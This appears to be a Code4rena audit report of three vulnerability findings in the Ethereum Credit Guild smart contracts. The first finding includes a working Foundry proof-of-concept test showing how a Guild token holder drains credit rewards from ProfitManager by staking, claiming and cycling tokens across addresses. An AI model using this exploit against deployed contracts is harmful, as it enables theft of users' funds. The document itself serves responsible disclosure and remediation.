Ethereum Credit Guild - asui's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Impact

All the credit tokens held by the profit manager contract can be stolen. Whenever borrowers pay back their loan with interest lending terms send the interest to the ProfitManager.sol contract as a profit and this contract distribute it to the respective receivers. One such reward receivers is the Guild token holders who bet on the term(gauge) by applying weight and earning profits in the risk of getting slashed if bad debt occurs on the gauge they applied weight on.

The function claimGaugeRewards is where this guild holders will claim their rewards(credit tokens). The problem here is a guild holder can wait for the gaugeProfitIndex to increase(can be just enough 1e18) and only apply weight when it is increased and claim rewards. Thereby preventing himself from slashing as well as still getting the profits. This applies for guild holders who intentionally do it or who might not even know. Their reward will be the same as users who have been applying weight from the start.

But worse case scenario a malicious guild holder can even exploit this. He can do it by waiting for the gaugeProfitIndex to go up and then apply weight and claim the rewards and transfer his guild tokens to another address(also owned by him) and repeat until the profit manager runs out of credit tokens. The fact that the attacker can do it with limited guild tokens and that the profit manager holds all the profit from all the different terms within the market makes this attack worse. And the gaugeProfitIndex will likely only grow with time and interest paid by the borrowers.

This is possible because in the claimGaugeRewards function when user gauge weight is 0 we return 0 before the userGaugeProfitIndex could be updated.

if (_userGaugeWeight == 0) {
            return 0;
        }

When users apply weight for the first time the claimGaugeReward is called but it returns 0 before it could update the userGaugeReward . And hence when the user directly calls claimGaugeRewards his index will be 1e18 and get the maximum reward even if he applied weight for just 1 second. See:

if (_userGaugeProfitIndex == 0) {
            _userGaugeProfitIndex = 1e18;
        }
        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
        if (deltaIndex != 0) {

Proof of Concept

function testBorrowAndRepay() public {
        //prepare
        uint256 borrowAmount = 20_00000e18; // random large amount of credit and collateral tokens just to increase the gauge profit index
        uint256 collateralAmount = 20_0000e18;
        collateral.mint(address(this), collateralAmount);
        collateral.approve(address(term), collateralAmount);

        //borrow
        bytes32 loanId = term.borrow(borrowAmount, collateralAmount);

        vm.warp(block.timestamp + term.YEAR());
        credit.mint(address(this), 200000000000e18); // some random amount of credit to be able to repay
        credit.approve(address(term), 200000000000e18);
        term.repay(loanId);

    }

    address public attkr = makeAddr("attkr");
    address public attkr1 = makeAddr("attkr1");
    function testGuildHolderCanStealCreditProfits() public {
        vm.startPrank(governor);
        profitManager.setProfitSharingConfig(0.1e18, 0.1e18, 0.8e18, 0, address(0)); //config example 
        guild.enableTransfer(); // we assume the governor already enable transfering of guild tokens 
        vm.stopPrank();
        
        testBorrowAndRepay();  //borrow and repay multiple times 
        testBorrowAndRepay();
        testBorrowAndRepay();
        testBorrowAndRepay();
        testBorrowAndRepay();
        console.log("gauge profit index after borrowers repay their loan:", profitManager.gaugeProfitIndex(address(term))); // profit index increases 
        console.log("balance of profit manager after borrowers pay interest :", credit.balanceOf(address(profitManager))); // credit tokens the profit manager currently holds 

        assert(credit.balanceOf(attkr) == 0); // attacker has 0 credit tokens 

        guild.mint(attkr, 5000e18); //we directly mint here for example || 5000 guild tokens for better demonstration  
        vm.startPrank(attkr);
        guild.incrementGauge(address(term), 5000e18);  // attacker(guild holder) who apply weight only after he sees the term is profitable 
        profitManager.claimGaugeRewards(attkr, address(term));
        console.log("credit stolen by attacker:", credit.balanceOf(attkr)); // 200000000000000000000 stole 200e18 guild tokens  

        guild.transfer(attkr1, 5000e18);
        vm.stopPrank();
        
        vm.startPrank(attkr1);
        guild.incrementGauge(address(term), 5000e18);
        profitManager.claimGaugeRewards(attkr1, address(term));
        console.log("credit stolen by attkr1:", credit.balanceOf(attkr1)); // 200000000000000000000 stolen another 200 guild tokens // attacker can loop this process untill he drain all the profits 

        console.log("balance of profit manager after attkr claim rewards:  ", credit.balanceOf(address(profitManager)));

    }

Paste this code in the test/unit/LendingTerm.t.sol and import console and run the test.

Tools Used

Recommended Mitigation Steps

remove

if (_userGaugeProfitIndex == 0) {
            _userGaugeProfitIndex = 1e18;
        }

from the ```claimGaugeRewards```` function since at the first time when users apply weight to a gauge the call to the claimGaugeRewards will still return 0 but it will also increase the profitIndex of the user.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L229-L231

Vulnerability details

Impact

In the surplusGuildMinterContract when a user stake credit in a term he gets slashed only when that term reports loss, however incase a term already loss once and the lastGaugeLoss for that term is not 0 then every user who stake even after the loss will always get slashed. This is because in the getRewards function

function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }

the if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) { will always be true since the userStake is not yet assigned to any user's UserStake position at this point and it will return the null value which is 0 and hence lastGaugeLoss will always be greater than 0. In short the bool slashed will always be true for any term which had notified loss atleast once. i.e. a loss notified once will even slash future stakers.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Tools Used

manual

Recommended Mitigation Steps

add userStake = _stakes[user][term]; this at the first line of the getRewards function

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L41-L41

Vulnerability details

Impact

Because the Guild Token contract points to only one profit manager the Guild token will support one one profit manager i.e. only one market when it is suppose to be supported across all markets. As a result when the protocol introduces new markets the call to the guild token ```notifyGaugeLoss will always revert.

Proof of Concept

Tools Used

manual

Recommended Mitigation Steps

Implement gauge loss notifiers role for profit manager contracts and grant them and use onlyCoreRole modifier from the coreRef contract instead of pointing to only one profit manager contract and checking that msg.sender is the profit manager in the notifyGaugeLoss function.

Assessed type

Other